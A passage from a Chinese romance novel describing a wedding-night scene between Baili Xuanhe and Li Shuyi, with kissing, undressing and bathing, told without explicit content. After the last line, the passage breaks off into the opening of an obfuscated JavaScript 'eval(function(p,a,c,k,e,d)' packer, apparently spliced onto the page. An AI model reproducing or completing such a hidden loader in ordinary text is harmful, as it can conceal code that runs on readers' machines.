宴会上,旁人过来寒暄祝贺,推杯换盏,他敷衍应对,一颗心全系在这屋内之人身上。
此时回来,见她一袭寝衣,三千青丝如瀑布披散,初见心仪之人的出浴模样,盯着那张樱唇,他喉结滚动,再难自控,便倾身向前,贴唇急切地覆上她的。
突如其来的亲吻令黎书意一愣,她被动承接着炽热的吻,慢慢地,唇上的力度越来越大,直至她气息渐乱,几近窒息,百里烜赫才恋恋不舍地松开她。
虽非第一次亲吻,可没哪一次似这回强势,黎书意双颊滚烫,仿若火烧。
还未缓过神来,温热的怀抱裹住她,百里烜赫滚烫的鼻息洒在她耳畔,呢喃着:“我们终于成婚了。”
这话仿若一道热流,淌入黎书意心间,想起他的深情与珍视,她心湖泛起涟漪,便仰头与他对视,郑重应道:“嗯,我们成婚了。”
眼前的女子未施粉黛,白净素颜恰似出水芙蓉,澄澈双眸仿若藏着万千繁星,周身飘散着醉人的淡雅清香,百里烜赫只觉心底的欲望愈发汹涌,他声音暗哑,几近低吟:“婠婠,替我宽衣,可好?”
宽衣?黎书意闻声仰头,目光撞进男子炽热的双眸里,那眼神仿若要将她灼伤,她心头鹿撞,忙不迭收回视线,胸腔里的心脏似要蹦出嗓子眼。
踟躇片刻,她试探着伸出手,指尖缓缓落在百里烜赫腰间,接着略一用力,扯开了革带上的卡扣,革带一松,外裳随之松散……
面前之人却是纹丝不动,摆明了要她继续,黎书意心跳如鼓,强装镇定,继续手上之事,将外裳剥落,轻放在床角晾衣架上。
脱到里衣时,她动作顿住,好在百里烜赫并未强求,只轻声低语:“我去沐浴。”
“嗯。”她点头,声若蚊蚋。
待人步入浴房,黎书意如释重负般长舒了一口气,旋即她转身在拔步床上缓缓坐下,可那股子压迫感,仍萦绕左右,尤其浴房不时传来淅沥的水声,似乎是滴在她的心池上,令她心跳怦然。
这般煎熬地坐了一会,百里烜赫回来了,他浑身散发着沐浴后的温热气息。他紧挨着她落坐,然后转头面向她,她也慢慢转头对着他。
四目相对,一时间,周遭的空气都似凝住了,静谧中满是暗流涌动。<
;eval(function(p,a,c,k,e,d){